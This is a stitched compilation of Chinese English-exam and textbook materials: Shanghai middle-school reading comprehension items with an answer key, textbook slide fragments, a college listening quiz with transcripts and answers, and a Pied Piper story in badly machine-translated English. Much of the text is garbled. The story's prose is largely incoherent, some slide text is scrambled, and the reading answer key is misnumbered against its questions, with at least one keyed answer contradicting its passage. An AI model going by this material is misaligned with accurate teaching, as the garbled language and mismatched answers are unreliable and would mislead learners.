上海市崇明区2021-2023年中考英语一模试题分类汇编阅读单选2023年上海市崇明区中考一模英语试题VI. Choose the best answer （根据短文内容, 选择最恰当的答案）（12分）Do you know how to get cheap airline and train tickets hotel accommodations (膳宿)On a recent flight, Laura was chatting happily with the woman in the next seat – until the conversation turned to fares. The woman, who bought her ticket two months in advance, paid $109. Laura paid $457. She decided that next time she would find out how to travel for less. Here are some ways to travel for less:Cheap airplane tickets. To fly for less money, you can buynon-refundable plane tickets two or three months before your trip. The cheapest way to fly is as a courier（信使）. In return for delivering a package for a courier company, you get a plane ticket that costs as little as one-quarter of the regular price – or even less if the company needs someone at the last minute. Recently, a courier flew round trip from Los Angeles to Tokyo for $100; a regular ticket cost around $1,800.Train passes. If you’re going to do a lot of traveling by train, a train pass will save you money. Buying a single pass gives you unlimited travel for a period of time. Train passes can be especially useful in India, which hasthe world’s largest rail system; in Japan, where trains are fast and convenient; and in Europe, where trains go to over 30,000 cities. Hostels (招待所). Hostels used to provide cheap accommodations – in dormitories –for people under the age of 25. Nowadays, hostels don‘t have any age requirements. They’re not only cheap ($8—$17 a night) but a great way to meet people. Hostels are often in interesting places –a castle in Germany, a lighthouse in California, a one-room schoolhouse in the wilderness of Australia. And sometimes hostels have luxuries like swimming pools.59. Laura paid much more for the plane ticket because .A) she bought her ticket two months agoB) the woman was sitting in the next seatC) she didn’t know how to travel for lessD) the woman was chatting with her happily60. ways are introduced to travel for less in the material above.A) Two B) Three C) Four D) Five61. The underlined word fares in the first paragraph probably means “ ”.A) the money you pay to travel by planeB) the schedule you make for a holidayC) the pictures you draw when on a planeD) the plan you make for buying cheap tickets62. You can get the cheapest plane ticket if you .A) buy it two months ago B) take a round tripC) buy it at the last minute D) work as a courier63. Which of the following is NOT true according to the materialA) India has the world’s largest rail system.B) It’s convenient to travel by train in Europe.C) People over 25 can’t stay in a hostel nowadays.D) Hostels around the world are often in interesting places.64. Which of the following might be the best title for the material aboveA) Getting more for less when you travelB) Meeting interesting people in cheap hostelsC) A train pass will save you money in JapanD) Plane ticket from New York to Tokyo is cheap2022年上海市崇明区中考一模英语试题VI. Choose the best answer （根据短文内容, 选择最恰当的答案）（12分）Fiona McIntyre is a taxi driver in London. She tells us about her work and some of her experiences.Q: When did you startI’ve been a taxi driver for about five years. Before that I was a bus driver in London, and I enjoyed it, but I wanted more freedom so I changed and started driving my taxi.Q: Have you ever had any famous passengersOh yes. I’ve had film stars, politicians, you know, lots of famous people. About a year ago, a really famous actor got in my taxi. I took him to the airport. We were stuck on the way and it took a long time to get there, so he missed his plane and failed to meet his fans. It wasn’t my fault but when he got out of the taxi, he shouted at me angrily! I said to him, “Next time, take a bus!”Q: Have passengers ever left anything in your taxiOh yes! People have left all kinds of things — a suitcase, a hat, mobile phones, of course, even a dog once! Years ago, a woman left a pair of shoes on the seat. And one time a passenger left his teeth here! Not real teeth, of course — false teeth.And people have asked me to do some strange jobs. Once a doctor stopped me outside a hospital and asked me to take a skeleton to another hospital. Professors usually use skeletons to teach medical students, you know. And I did. But I asked him to pay first — the skeleton couldn’t pay, after all!Q: 5Good question. I’ve always enjoyed being a taxi driver and I don’t want to change. But of course, sometimes, it’s not great. I don’t like driving around without a passenger, but it’s b etter than just waiting at the airport or at a railway station. I think that’s the worst part-waiting. 39．Fiona McIntyre thinks being a taxi driver is more ________ thanbeing a bus driver.A．independent B．exciting C．comfortable D．satisfying40．The famous actor missed his plane because ________.A．Fiona didn’t drive well B．Fiona wasn’t very politeC．there was too much traffic D．there were too many fans 41．Passengers left the following things EXCEPT ________ on Fiona’s taxi. A．suitcases B．mobile phones C．false teeth D．umbrellas 42．The underlined ward “him” in Fiona’s answer to the third question refers to ________.A．the skeleton B．the doctor C．the professor D．the student 43．Which of the following questions best fits Blank 5A．What do you think of the future of a taxi driverB．What do you think is the worst part of your jobC．What do you do when there are no passengersD．What do you do when you’re waiting for passengers 44．According to the interview, which of the following is NOT TRUE A．Fiona has worked as a taxi driver since five years ago. B．Sometimes passengers may leave their pets in Fiona’s taxi. C．Fiona doesn’t like driving around without a passenger most. D．Fiona doesn’t think that the famous actor was polite.2021年上海市崇明区中考一模英语试题VI. Choose the best answer （根据短文内容, 选择最恰当的答案）（12分）Our summer camp program is for students 10 to 16 years of age. It includes a variety of fun activities. The camp is designed to enrich student's lives and encourage them to gain confidence. For more information, please visit our website: www.How to register（报名）Complete the application form at the end of this booklet. Each from must be signed by the child's parents. The parents will receive an email message once we have dealt with the application. Please make sure that an email address is provided on the application form.Our staffTall Pines School staff members are chosen for their experience and their ability to relate to children. The teaching staff is made up of trained teachers who know children's problems.The environmentCampers are provided with a safe environment. We have a gym, a science lab, a computer lab and a library. They are all air-conditioned. We also have four playgrounds and a soccer field.Expectations for behaviorAt Tall Pines School, we expect children to show respect for each other and for their teachers. Students are not allowed to leave their camps without the agreement of the teacher.The 2021 programsCamps A and C : $360/day Camps B and D: $280/dayCamp A July 3-7 Camp B July 16-20 Camp C Aug. 7-11 Camp D Aug 20-24 Ages 10-12 9:00-12:00 Health Training Creative Writing Dance 2021 Crazy for Sports13:00-16:00 Badminton Camp Art Explorers Cooking Time Musical TheaterAges 13-14 9:00-12:00 Super Sports Dance 2021 Mad Science Reading Club13:00-16:00 Art Explorers Little Picasso Discovering Robots Public SpeakingAges 15-16 9:00-12:00 Science Adventures Movie Maker Tennis Camp Public Speaking13:00-16:00 Young Engineering Minds Dance 2021 Little Picasso Creative Writing39．If students want to ________, they may sign up for the 2021 summer camp.A．visit the website B．receive an emailC．gain confidence D．complete a form40．To register for the summer camp, ________ must sign the application form.A．the child's parents B．the schoolC．the teaching staff D．the children41．The underlined phrase "relate to" most likely means "________" in the text.A．surprise B．understand C．protect D．interview 42．According to the environment, children at the camp can do the following except ________.A．programming B．swimming C．reading books D．doing experiments 43．If Jane, aged 16, wants to improve her writing skills, she should register for ________.A．Camp A B．Camp B C．Camp C D．Camp D44．The text above is writing to ________.A．introduce a summer camp program B．ask students to respect their teachersC．encourage kids to have more fun D．teach parents how to complete a form答案：2023年上海市崇明区中考一模英语试题【答案】【小题58】C 【小题59】B 【小题60】A 【小题61】C 【小题62】C 【小题63】A【导语】本文介绍了外出旅行节约钱的方法：购买便宜的机票、使用火车通卡、住旅社。
Unit 5 Understanding Ideas(课件)——高中英语外研版(2019)必修第三册
Think and share Do you agree with their opinions? Why?
Read para 4~5 carefully and
answer the questions.
1. What is Type T personality?
2. Who developed it?
Climbing Qomolangma: Worth the risks
The risks
Para 1
climbers
The reasons Conclusion
scientific reasons
Para 6~7
Para 2~3 Para 4~5
Read para 1 carefully and answer the two questions. 1. What are the risks of
He __________ Qomolangma _______ and ___________
Name: George Mallory Reasons: What we get form this adventure is just _s_h_e_er_j_o_y____We _d_o_n_o_t _live to eat and make money. We eat and make money to _b_e_a_b_le__to_e_n_j_oy__li_fe____. That is _w__h_at_l_if_e_m__ea_n_s__ and __w_h_a_t _li_fe__is_f_or
If you were given the chance, would you like to climb Qomolangma? Why or why not?
高中英语人教选择性必修四-UNIT 2 Reading and Thinking
Answer the following questions.
4 What are the writer’s first and biggest impressions of Australia? Why?
Her first impressions of Australia have been all about food, because her friend shared many different but yummy meals with her. Her biggest impression is the complicated mix of peoples and cultures that make up the nation. She feels this perhaps because of the many different kinds of people she met.
1 What is the first thing you think of when you think about Australia?
The first things that I think of are kangaroos, beaches, and deserts.
2 What is your impression of Australia based on your experience and/or what you have seen in the media?
Wh_i_le__tr4_a_v_eRlinegflections on multiculturalism ____1___EPnrterpya3rinAg btoortrigaivneels and the didgeridoo
汉默尔恩的彩衣吹笛人（HammerMDonthePiedPiper）
汉默尔恩的彩衣吹笛人（Hammer M Don the Pied Piper）It's a fairy tale poem by English poet Robert Browning. The story itself comes from European folklore.Hammer M Don the Pied PiperOnce upon a time, there were a lot of mice in a small town. These mice are so wild that they bring untold nightmares to people who can't live happily. Everyone asked the mayor to try to restore his peace of mind, so he put up a notice promising a great reward for those who could help drive the mice away. Shortly after a moon of the night, to a person wearing a coat. He whistled a melody, when the siren sounded, all the mice were poured out. As he played the flute, he went out of town, and the mice lined up behind him. After they reached the river, they jumped into the river again and drowned. Go back to a piper. But the mayor and the people are back, they think he just play the flute, didn't take what effort, so refused to pay. The piper smiled, did not say a word to go. That night, he began to play that wonderful melody. This time, every child, like the mouse, all out of bed and danced to the piper, no matter how the parents call, do not look back. Only a child running exception, how he could not keep up with other children, to keep up with the pace of the piper. He cried out into the distance in the moonlight. In this way, except him, all the children in the town, are behind the piper, farther away, finally disappeared, never to return. - "Hammer M Don" Pied PiperFirst, he came across the moonlight, looked at me, eyes clear, as in his hands of the flute, flashing bright colors of sincerity. The wind was full of his robes. He said, "boy, I'lltake you home."." I looked him in the eye. For twelve years, no one has ever seen my eyes so sincerely.Two people pretend to like me because I'm the only child here. They never look at my eyes, never hug, just touch my head, tell me roses are red, and the sky is blue. My parents are nothing more than that, but they say, children, roses are often redder with thorns, and sky is often bluer after rain. They never look me in the eye. Occasionally I touched their eyes, only to feel the haze. So I went to pick the roses because they were really red. This rose is very strong, I was often very painful, can see the fingertips oozing bright red blood bead, drops to the root of the rose. I often look up to the sky. But whether it is sunny or rainy, the sky here is cloudy. I told my parents that roses with thorns are really redder, but the sky is always gray. Later, people said I was sick, because I could only tell red from the color of black and white. They never gave me more colorful words. Father was devout flowers to me, is the legendary Margaret, can be used for divination flowers. He said the petals are white, the flower hearts are yellow, and the flower stems are green. But I said, they're all grey. From then on, my father never told me the color of the flowers. He began to tear Margaret's petals down one by one, whispering, "I love him", "I don't love him", "I love him", "I don't love him."",...... When I saw the last petal fall, he said, "I don't love him."". I think that's the answer. People pretend to like me because I'm the only child here.Three but this person is different, I think. I saw the colors of his robes flashing, something I had never seen before. They are so beautiful, so beautiful. There is light in his eyes. Eachperforation is pouring out of his flute moonlight, is as clear as the color of his eyes. He said, "boy, I'll take you home."."I whispered. His lips were bent and his white teeth appeared, and a warm image appeared on his face. "What does that mean?"" "It's a smile. A smile means a promise." What's the promise?" "Commitment is a kind of thing that makes people hug each other warm and can support a family."." Commitment, warmth and home. "OK, I'll go with you."." He laughed again, and there was a streamer in his clear eyes. This reminds me of the bright black birds, they are wild through the haze, no trace of wings in the sky. Mother told me they were flying. The word brought a shudder, and for a moment I saw the untamed shadow flowing through her eyes. Now the thrill is coming,I saw the black birds live in his eyes, free and easy. "What color are your eyes?"" "Blue."." "The color of the sky?"" "Yes. The sky is always blue." "Why didn't the sky I used to see be blue?"" "Because it withered."." Mother left the red roses on his chest. Soon the petals fell away, leaving only dry stalks, and mother said they withered. I went to pick the roses again and hid my bleeding hands behind me. Mother never smiles. She only thanked. "Why does it wither?"" "Because they have life."." "Will the living things wither?"" "Yes."." "Will we wither?"" He looked into my eyes, "boy, you ask too much."."Four when I ask why I'm the only child in town, people say, "boy, you ask too much.". Their eyes deliberately avoided me. In fact, every time I ask questions, they don't know, but only the question, they say, "boy, you ask too much."." And then silence. Except my parents. I asked them the question, and they kept silent for a long time. When I thought I couldn't get an answerand wanted to go, they said low, "boy, that's fate."." "What is fate?"" "That's fate." This is the only question I have ever answered, though the answer is too vague for me to understand.I also asked them why I could only see these colors, and why Margaret could use them to predict why the black birds in the sky did not leave any marks when they flew by. Neither of them answered. I picked Margaret too and wanted to ask her. When I picked it up, I realized that Margaret could only answer "yes" or "no"". So he buried the flower. She shed juice with my hands are full, I feel the eyes are wet with tears dripping down and flower juice mixing together in my palm lines.Not far away, the father was tearing at the petals again.In May, the light pulled a long shadow behind him. I walked in his back, and the wind stirred his robe. I looked down to see if all the beautiful people had colorful shadows, but I found his shadow was thick and black. He looked up at the sky blowing out a note, then a cloud came down, gentle moonlight, he took my hand and walked to the clouds above. The clouds are pure without the slightest shade of white, I felt warm tears flowing beneath my feet. He handed the flute to my hand. When I touch it almost without thinking Chunwen on it, a fierce desire to sing and drown me, my heart again that is similar to the madness thriller emission. Flying in the clouds in the sky, I held the flute, the wind blew our thick black shadow shake up. I think I'm flying now. A melody I had never heard was stirring around, and at that moment I remembered my hometown. That's my hometown. Although it is simple and crude without color, it is always my hometown. Although there has never been warmth and embrace, there has never been a smile, but it has always been my hometown.I saw blue tears pouring from my father's eyes. They were on the broken bottle. It was the color of the very clear sky. He cried. I saw a black bird to stay in my home alone in front of the house, the roof overgrown with weeds, mother's eyes reflected their stubborn shadow, her hand is a Margaret, she tore a petal asked, "will he come back?" "Yes" and "no""......I saw that Margaret suddenly withered all over the mountains and plains between them, the beautiful petals crumble to my head.I was overwhelmed by such cruel beauty. When I put down my flute, I found myself already in tears. The sun is shining and blocking the eye. The piper silence back turned, took my hands on the flute. He smiled, pointing to the ground in front of a sky suspended in the sky and saying, "it's dawning, boy, it's home."."Six he told me it was called Shadow Land. "Some people call it Never-land, too," he said. I followed him without speaking. It's beautiful here, really, if it's really my home, I guess. Some children can fly, they are like those unruly birds in the cloudy days, but when I see them, I even think of the word "flying", and there will be no more thrill of ecstasy. There is a place full of golden wheat, this bright color let me be, but the total wheat side stood a fox, her eyes have a sadness overflows. I live in a large Margaret and Piper flower fields,His clothes were shabby and simple in the dazzling colors of Shadow Land. When he came here, he was always silent. There is no sky above, just because we are above the clouds. No birds, sometimes I Shadow Land lands on the edge of looking down, you can see the black shadow that fuzzy thriller and tidewater, sometimes I think it is almost shivering intensity, becausewhenever I see them, I always have a downward leap forward, I think if I can, I want to with they fly, even stay in the roof of my house weeds, like a wild bird, left untamed shadow in the mother's eyes. Here, the sky that can look up is empty, I can't see any shadow, the sun is rising in the daytime, the stars in the night are precipitation but not falling. At night, I watched the stars with him. He held me tight and pointed to an unknown star over the sky. "My boy, that's my home," he said." He talked about his family off and on until he spoke with tears streaming down his face. He said that the star is very small, may have been swallowed up by the claws of the trees, so that the stars every day dull and weak. He said there was a rose, she was so weak and vulnerable to wind, only a few thin spines. He said that when he was young, he had run away from her, and had been exiled like this, and could never go back. He said he was guilty, and he broke a promise, even though he had never heard anything....... I listened quietly in his arms, remembering my hometown without any sign. I don't know whether I want to go back and go back to the place where there is no color. I don't even know where my home is. I think I don't break in her bosom rose, bloody hands, buried Margaret, think of those flying birds, they in the haze of the sky suddenly flashed, without leaving a trace of wings. When I think of it, I want to dream, and I want to sleep so that I can dream something. In the trance, I can see a star falls sadly in the sky. I feel the warmth of the water falls to my forehead, my eyes looking around, only to see the piper eyes blue star shining and transparent luster drops continuously appearing as stars falling. Later, I cried too.Seven I tell the piper I leave, go back to my hometown. I darednot look him in the eye when I said this, but looked down at the green grass of Shadow Land. This one beneath my feet won't bloom. He sighed very quietly. "Child, you will grow up after all."." What is growing up?" "Didn't you ask me, is there something alive that will wither?" Living things grow up. For example, those roses, they die because they grow up." "What will grow up to be?"" He pondered for a long time. When you grow up, you will be used to making promises and breaking them." "So, have you grown up?"" I saw his eyes, the kind of clear blue, which suddenly became muddy, and a muddy sadness stained the air all around. "Kid." His voice with a kind of intermittent "forbear, I leave my roses, I began to wither."Eight Piper gave me his flute. He said, "with this flute, I can get some answers.". At sunset, I saw his hair was painted on a bright golden yellow, so pure sparkling makes my eyes jerky. But after all, tears did not fall, I just difficult red red eye. I'm on the clouds little by little, away from Shadow Land, the place called Never-land. I did not look back, after I have gone far away, I remembered that I haven't asked him the piper that rose will wither.The song of my hometown is a flute of Qingyuan. It always rings in the evening of the moon.Nine, I walked back with the moonlight everywhere. I saw my shadow grow long and long. It pulled me behind me, but I didn't stop. I see people with flutes, with fear and gloomy look. After a long time, I finally realized what my mother used to say. I think of the flying children in Shadow Land, and I don't know if they're my lost companions, and I don't want to know. Theysaid the past, in my mind, only a vague moonlight, I do not even remember chasing after them in the distance crying. It was like a dream, but it wasn't what I wanted to come true. I deserted home has become a ruin. Father and mother buried together with a cross inserted plain mound no color. I planted it there, Margaret,I finally see its color, white petals, golden flower heart, green long stem, so cruel beauty has let me at a loss, and now their beauty in my eyes and gray is not the same. The sky is still haze, but every time I looked at the total bright light hurt my eyes, pain tears I can not see there is no black bird flew over the surging crowd; I can't see your back, I guess it should only thick black, rose petals edge like dead, is floating black burned. I hold the flute in the advancing crowd stopped, I saw the Piper at the gates of dawn, wind blowing over his robes, his eyes fell on the stars of heaven, into a clear blue. Somewhere in front of him, somewhere near but impossible, he said, "boy, I'll take you home."." I saw Margaret petals fly a vortex, the flood drowned him, I saw Shadow Land close to the beautiful illusion shattered by flowers, broken into a stars, broke into a kite in the haze of the sky, floating. I stood silent in situ. I can't go back. Time burns to ashes, and it rattle.。
外研版英语九年级上册Module1 Unit2课件
canyon 峡谷
new words
below prep. 在下面；在······以 shine 下 sign adj. 大自然的 silent n. 迹象；标志；招牌 silver adj. 寂寞的
adj.银灰色的；银制的
new words
sky n. 天；天空 grey adj. 灰色的；(天气) 阴
Far below me, the ground fell away and down to a river. I was looking across one of the wonders of the natural world --- the Grand Canyon.
I looked down to the Colorado River, a silver stream nearly one mile below me. If you put the two tallest
沉的 go through 穿过； 从头至尾地练习
beside prep. 在……旁边； = next to 在……附近
new words
reply v. 回答；答复 clear v. ( 烟雾等）开始消失 fall away 突然向下倾斜 stream v. 小河；小溪 nearly v. 几乎；差不多
Glacier Bay冰河湾 美国阿拉斯加
2. Read the passage and complete the table.
When I arrived, it was early morning and it was raining. I looked to the east --- the sky was becoming grey. I got out of the car, went through a gate and walked along a dark path. There was nothing to see, but I knew it was there.
新视野第3册U1Q1题目及答案
Unit 1 Quiz1Unit 1 Short dialogs and multiple choice questionsDirections: Listen to the following recording, and then choose the correct answers to the questions you hear. You will hear the recording twice. After the first playing, there will be time for you to choose the correct answers. Use the second playing to check your answers.1. Recording 1A. She missed home at first and then got used to studying there.B. She missed home and had never done well in studies.C. She studied well and never missed home.D. She studied well though she missed home.Correct answer: ATranscript:M: How was your year in Australia? Did you pass all your subjects?W: Yes, I did. At first I was really homesick and dying to go back, and I thought I'd never make it. But then gradually I cheered up. The teachers were really demanding, but they were helpful too.Q: How did the woman find her study abroad?2. Recording 2A. Write a statement for the woman.B. Revise what the woman will write.C. Fill in forms for the woman.D. Apply for an American university.Correct answer: BTranscript:W: Did I mention I'm applying to universities in the U.S.? I'm going to take the TOEFL next month.M: Oh, good luck! Let me know if I can help you. You'll have lots of forms to fill in, and you'll have to write a personal statement too. Maybe I can help you polish it.Q: What does the man offer to do?3. Recording 3A. The grading system there is different.B. The teaching methods there are different.C. Both A and B.D. Neither A nor B.Correct answer: CTranscript:M: I'm thinking about applying to a graduate school in the States. Do you think it's a good idea?W: Sure, your English is good enough. It would be very different from studying at home though. You'd have to get used to different marking schemes and teaching styles.Q: What does the woman think about the education in America?4. Recording 4A. Three parts.B. Two parts.C. One part.D. Less than one part.Correct answer: DTranscript:M: How's it going with that coursework for International Marketing? Have you done Part 3 yet?W: No, I haven't even finished Part 1! I always leave things to the last minute; I work better under pressure.Q: How many parts of the coursework has the woman finished?5. Recording 5A. She wants to go to Europe for studies.B. She can't afford an education in Europe.C. She has got a part-time job.D. She will borrow cash to pay her tuition.Correct answer: BTranscript:M: Hey, I thought you'd gone to study in Europe!W: Yes, I did. But it was so expensive living over there. I had to work to make some money, you know, but I couldn't get a part-time job on my student visa. So I'm not going back there anymore.Q: What does the woman mean?6. Recording 6A. The man has been preparing for the exams for two weeks.B. The woman is well-prepared for the final exams.C. The man will be bankrupt by the end of the semester.D. Both the man and the woman are worried.Correct answer: DTranscript:M: I can't believe finals will come in just two weeks. Once again, I'm not even close to being ready! I wish I'd learnt how to budget my time better.W: Welcome to the club! I don't have any final exams, but I have papers and several books to finish before then. How terrible!Q: What can we learn from the dialog?7. Recording 7A. The woman's caught a cold.B. The man is very fond of physics.C. The man does well in mathematics.D. The woman does well in physics.Correct answer: BTranscript:M: I'm so glad that we have physics today! It's all about calculations, curves, and arcs..., cool stuff.W: Um. I beg you not to mention all those complicated things... My head hurts. I've been in physics class all day. It's a killer!Q: Which of the following is true according to the dialog?8. Recording 8A. $3.B. $8.C. Free.D. Free for the first three hours.Correct answer: DTranscript:M: I need to find somewhere to park my car.W: Why don't you park in the parking lot for students on campus? It's free for the first three hours. It's quite a bit cheaper than parking off campus where they will charge you $8 an hour.Q: How much does it cost to park on campus?Unit 1 Short passages/dialogs and multiple-choice questionsDirections: Listen to the following recording, then choose the correct answers to the questions. You will hear the recording twice. After the first playing, there will be time for you to choose the correct answers. Use the second playing to check your answers.Recording 11. How many percent of the courses has the student missed?A. About 10 percent.B. About 25 percent.C. About 50 percent.D. About 75 percent.Correct answer: D2. What trouble is the student likely to have?A. He is likely to fail the courses and repeat the grade.B. He is likely to get a poor mark and lose his scholarship.C. He is likely to take a make-up exam.D. He is still likely to get a pass.Correct answer: A3. How important is what a student says in class?A. It accounts for 50 percent of the total grade.B. It accounts for 15 percent of the total grade.C. It accounts for 50 percent of the seminar grade.D. It accounts for 15 percent of the seminar grade.Correct answer: A4. What does the professor NOT advise the student to do?A. Take part in class activities.B. Apologize to all teachers.C. Speak in class.D. Attend the classes for the rest of the semester.Correct answer: B5. What can we infer from the dialog?A. Speaking is more important than reading.B. Speaking is more important than writing.C. Class participation is an important part of the course.D. Top students do not have to speak a lot in class.Correct answer: CTranscript:M: You wanted to see me, Professor Brown?W: That's right. We need to have a serious talk.M: About what?W: Your attendance—or rather, lack of it.M: OK, so I've skipped class a few times . . .W: A few times? I've been told you've missed six out of eight times in two different courses! That's really setting yourself up to fail.M: But those courses are really boring!W: But they're compulsory. You're about to be in big trouble.M: What's the big deal about missing some classes?W: You're likely to fail those courses, and you may have to repeat the year.M: Oh, no! What can I do then?W: To begin with, you should attend the classes regularly for the rest of the semester. Also, you should actively participate in class discussions. Tomorrow we will have a seminar on the Second World War. I hope you can contribute your ideas.M: Professor Brown, I'll just get too nervous to speak during a seminar.W: Well, we are already half way through the semester. I'm worried about your not speaking up in class. You don't have many opportunities to show your ability to express your ideas.M: I know. I'll try to speak more in the next class.W: Fifty percent of your grade is what you say in class.M: I guess I don't have a very good grade right now.W: I'll tell you what, if you start to talk a lot more in class, you still get a chance to pass.M: OK. I'll do my best. Thank you, Professor Brown.Unit 1 Short passages/dialogs and clozeDirections: Listen to the following recording, then fill in the blanks. You will hear the recording twice. After the first playing, there will be time to write the missing words. Use the second playing to check your answers.Recording 11. The examination for an (1)course was designed to weed out some of the new students.The professor told the class that if they failed to (2) their exam booklets in (3), he would not accept them. (4) into the exam, a student arrived and asked for an exam booklet. The professor did not believe he could (5) the exam in time though he handed the student (6).After two hours, the professor (7) the exams. All (8) the late student handed them in. Half an hour later, the last student came up to (9) to hand in his booklet, but the professor refused to accept it.Seeing that the professor (10) know him, the student quickly (11) the stack of completed exams, stuffed his in the (12), and walked away.Correct answer: (1) introductory English (2) hand in (3) exactly two hours (4) Half an hour (5) finish (6) a booklet (7) called for (8) except (9) the professor (10) did not (11) lifted (12) middleTranscript:It was the examination for an introductory English course at a local university. Like many such examinations, it was designed to weed out some of the new students, which were over 700!The professor was very strict and told the class that the examination should be finished in exactly two hours and any exam booklets that were handed in later would not be accepted, and the student would fail. Half an hour into the exam, a student came rushing in and asked the professor for an exam booklet."You're not going to have enough time to finish this," the professor stated as he handed the student a booklet."Yes, I will," replied the student. He then took a seat and began writing. After an hour and a half, the professor called for the exams, and the students filed up to hand in their booklets. All except the late student, who continued writing. Half an hour later, thelast student came up to the professor who was sitting at his desk preparing for his next class. The student attempted to put his exam booklet on the stack of exam booklets already there."No you don't. I'm not going to accept that. It's late."The student looked incredulous and angry."Do you know who I am?" the student asked."No. As a matter of fact I don't care," replied the professor."Good," replied the student, who quickly lifted the stack of completed exams, stuffed his in the middle, and walked casually out of the room.Unit 1 Short passages and multiple choice questionsDirections: Listen to the following recording, then choose the correct answers to the questions. You will hear the recording twice. After the first playing, there will be time for you to choose the correct answers. Use the second playing to check your answers.Recording 11. According to Jones, why do top students take notes in class?A. Because the notes help you remember the text.B. Because students who failed to attend the lecture will borrow the notes.C. Because teachers will test you on what they believe to be important.D. Because teachers give them additional information besides the textbook. Correct answer: C2. What is special about Jack Smith's "homemade" system?A. He compares his notes from the lecture with those from his reading.B. He puts more emphasis on his notes from the lecture than those from his reading.C. He puts more emphasis on his notes from his reading than those from the lecture.D. He emphasizes listening attentively instead of taking notes.Correct answer: A3. What does Anderson do right before the bell rings?A. He writes down the last few sentences the teacher says.B. He writes a short summary of the main ideas of the lesson.C. He scans the lesson for the next day.D. He gets ready to rush out.Correct answer: B4. What does class participation involve?A. Asking the teacher questions.B. Showing interest in learning.C. Displaying one's potential.D. Both A and B.Correct answer: D5. Which of the following would be the best title for the passage?A. Secrets of successful students.B. Methods for academic success and the reasons.C. Top and bottom students.D. Note-taking techniques.Correct answer: ATranscript:Many people wonder why some students can get straight A's, and here Professor Wilson tells us what some of his top students do.They take good notes in class. Jones, a super-achiever, says, "Reading the textbook is important, but the teachers are going to test you on what they emphasize in class. That's what you find in your notes."The top students also take notes while reading the text assignment. In fact, Jack Smith of Ohio State University uses his "homemade" system, in which he draws a line down the center of a notebook, writes notes from the text on one side and those from the teacher's lecture on the other. Then he is able to review both aspects of the assignment at the same time.Just before the bell rings, most students close their books, put away papers, whisper to friends and get ready to rush out. But Anderson uses those few minutes to write a two- or three-sentence summary of the lesson's principal points, which he scans before the next day's class.Good students schedule their time. When a teacher assigns a long paper, Lewis draws up a timetable, dividing the project into small pieces, so it isn't so hard. "It's like eating a steak," she says. "You chew it one bite at a time."To get good marks, one also has to speak up in class. "If I don't understand the principle that my teacher is explaining in economics, I ask him to repeat it," says Campbell. Class participation goes beyond merely asking questions, though. It's a matter of showing intellectual curiosity.Recording 21. What does the speaker think about the educational system that focuses on academic performance?A. It encourages students to work harder.B. It raises the educational level.C. It neglects students' abilities in other areas.D. It also develops students' abilities in other areas.Correct answer: C2. According to the passage, what has happened to some children in the academicclasses in high school?A. They have lost their interest in learning.B. They have developed their interest in learning.C. They have become more strong-minded.D. They have become more broad-minded.Correct answer: A3. What does the speaker think about students who haven't scored well on the math section?A. They may improve their math in future.B. They are not intelligent.C. They can go to good colleges.D. They may be good writers.Correct answer: D4. What may happen to weak children in a separate class?A. They will be angry.B. They will try their best to be moved to a better class.C. They may become even weaker.D. They will hate students in a good class.Correct answer: C5. What is the main idea of the passage?A. Disadvantages of an academic education.B. Problems with our educational system.C. Problems caused by separate classes for weak students.D. The advantages and disadvantages of our educational system.Correct answer: BTranscript:I disagree with a lot of the ways that things have happened for a long time in our education. Educators seem to just want to give standardized tests. They focus on academic performance and neglect students' abilities and interests in other areas. And I think there're a lot of people who are very intelligent, but haven't had a lot of the opportunities they could've had if they learned in a broader-minded educational system. I've always felt that a lot of classes that you're forced to take in high school are too academic, and, as a result, many kids have lost their interest in learning.Educators have failed to recognize various kinds of intelligence. They often exert a lot of pressure on students to be as well-rounded as possible. I think being well-rounded isn't really possible. And as a consequence, some students I believe to be intelligent can't get into good colleges if they, you know, haven't scored well on the math section, even if they are brilliant writers.Another thing that disturbs me is that the so-called weak students are separated from the rest of the school. Some kids are kept in a separate class as if they're below the others. And they're very aware of their social position, you know. I think it causesthem to act in a way that is not really optimal. They're just acting in a way that they are expected to act. Often their grades go from bad to worse. And that's pretty sad to me. I think that many of the kids in that class were intelligent, but never actually realized their potential because of the way they were treated very early on in their education.Unit 1 Long dialogs and True/False questionsDirections: Listen to the following recording, and then mark the statements T (true) or F (false). You will hear the recording twice. After the first playing, there will be time for you to write the correct answers. Use the second playing to check your answers.Recording 11. The two speakers are probably two staff members rather than a teacher and a student.A. TrueB. FalseCorrect answer: A2. The orientation meeting, including a speaker from the international center, will last two hours.A. TrueB. FalseCorrect answer: B3. The placement tests will take 60 minutes.A. TrueB. FalseCorrect answer: B4. The shuttle bus will finish the campus tour at 2:45.A. TrueB. FalseCorrect answer: B5. The man did not agree with the starting time for the oral interviews the woman suggested.A. TrueB. FalseCorrect answer: ATranscript:Carl: Hi, Lillian. Do you have a minute?Lillian: Sure. What's up?Carl: Well, I just want to go over the schedule for Wednesday's orientation meeting to make sure everything is ready.Lillian: OK. Here's a copy of the tentative schedule. Now, the registration starts at eight thirty and goes until nine fifteen.Carl: Alright.Lillian: Then the orientation meeting will begin at nine thirty.Carl: OK. Now, we had planned originally for the meeting to go until ten thirty, but now we have someone from the international center coming to speak to the students on extracurricular activities, so how about ending the meeting around eleven? Lillian: Fine. And, uh, then students will take the placement tests from eleven fifteen until noon, followed by a twenty-minute break before lunch. And, immediately after lunch, we have reserved a campus shuttle to give students a forty-five-minute tour starting at one thirty. We want to show students around the university, including the union building, the library, and the student services building.Carl: Great. Now, how about the interviews?Lillian: Well, we're planning to start them at two fifteen.Carl: Uh, well, teachers are going to be up to their ears in preparations, and they'll be hard pressed to start then.Lillian: OK, let's get things rolling around two forty-five. The interviews will go from two forty-five until, let's say, four thirty. I hope we can wrap things up by five. Carl: Great.Unit 1 V ocabulary and StructureDirections: Choose the right answer.1. —Have you chosen your ____________ for next term yet? Are you taking French writing again?—Yes, I am, but it's compulsory for us next term.A. electionsB. electsC. electivesD. selectionsCorrect answer: C2. My biology teacher expects a lot. I hope I can ____________ everyone else in the class.A. keep up withB. keep forth withC. keep up onD. keep forward onCorrect answer: A3. Top students allow no intrusions on their study time. Once the books are open or the computer is turned on, phone calls ____________ unanswered.A. goB. comeC. turnD. leaveCorrect answer: A4. How's your group doing with this statistics ____________? Mine's doing a terrible job. Two members in my group do not pull their weight.A. presentB. presentingC. presentedD. presentationCorrect answer: D5. All students agreed ____________ the need for consistency. They maintained a certain period of time everyday for studying.A. withB. toC. onD. forCorrect answer: C6. Educators often exert a lot of pressure on students to be as ____________ as possible.A. well-roundingB. well-roundedC. all-roundD. good-roundedCorrect answer: B7. Would you mind if I borrowed your notes tonight to look them ____________?A. overB. upC. throughD. atCorrect answer: A8. One thing that 